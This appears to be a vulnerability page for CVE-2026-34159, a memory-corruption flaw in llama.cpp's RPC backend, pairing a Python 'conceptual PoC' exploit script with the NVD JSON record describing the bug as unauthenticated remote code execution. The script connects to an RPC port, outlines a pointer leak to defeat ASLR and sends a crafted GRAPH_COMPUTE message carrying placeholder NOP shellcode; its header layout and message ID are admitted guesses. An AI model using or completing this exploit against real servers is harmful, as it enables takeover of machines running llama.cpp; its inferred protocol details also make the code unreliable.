CVE-2026-34159

import socket import struct # Conceptual PoC for CVE-2026-34159 # This script demonstrates the logic to exploit the deserialization issue. # Specific protocol structures are inferred from the vulnerability description. def send_rpc_message(sock, msg_type, data): # Construct a hypothetical RPC header and payload # In a real scenario, this would match the llama.cpp RPC protocol header = struct.pack('<I', msg_type) + struct.pack('<I', len(data)) sock.sendall(header + data) def exploit(target_ip, target_port): print(f"[+] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) try: # Step 1: Leak pointers to bypass ASLR (ALLOC_BUFFER/BUFFER_GET_BASE) print("[+] Leaking pointers...") # send_rpc_message(sock, ALLOC_BUFFER, ...) # send_rpc_message(sock, BUFFER_GET_BASE, ...) leaked_base = 0xdeadbeef # Placeholder for leaked address print(f"[+] Leaked base address: {hex(leaked_base)}") # Step 2: Craft GRAPH_COMPUTE message with buffer=0 to skip validation print("[+] Sending malicious GRAPH_COMPUTE message...") # The payload is designed to trigger the missing bounds check # Target address to overwrite (e.g., return address or function pointer) target_addr = leaked_base + 0x1234 shellcode = b"\x90" * 100 # Placeholder for shellcode # Constructing the malicious tensor data # This simulates passing a crafted tensor that bypasses checks exploit_payload = struct.pack('<Q', target_addr) + shellcode # Send the exploit message (assuming GRAPH_COMPUTE type ID is 0x05) send_rpc_message(sock, 0x05, exploit_payload) print("[+] Exploit sent. Check for shell.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target details exploit("127.0.0.1", 50051)

{"cve": {"id": "CVE-2026-34159", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:29.687", "lastModified": "2026-04-30T19:18:32.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "llama.cpp is an inference of several LLM models in C/C++. Prior to version b8492, the RPC backend's deserialize_tensor() skips all bounds validation when a tensor's buffer field is 0. An unauthenticated attacker can read and write arbitrary process memory via crafted GRAPH_COMPUTE messages. Combined with pointer leaks from ALLOC_BUFFER/BUFFER_GET_BASE, this gives full ASLR bypass and remote code execution. No authentication required, just TCP access to the RPC server port. This issue has been patched in version b8492."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ggml:llama.cpp:*:*:*:*:*:*:*:*", "versionEndExcluding": "b8492", "matchCriteriaId": "3E829A49-8883-4191-8F71-098DF5B28505"}]}]}], "references": [{"url": "https://github.com/ggml-org/llama.cpp/commit/39bf0d3c6a95803e0f41aaba069ffbee26721042", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ggml-org/llama.cpp/pull/20908", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/ggml-org/llama.cpp/security/advisories/GHSA-j8rj-fmpv-wcxw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}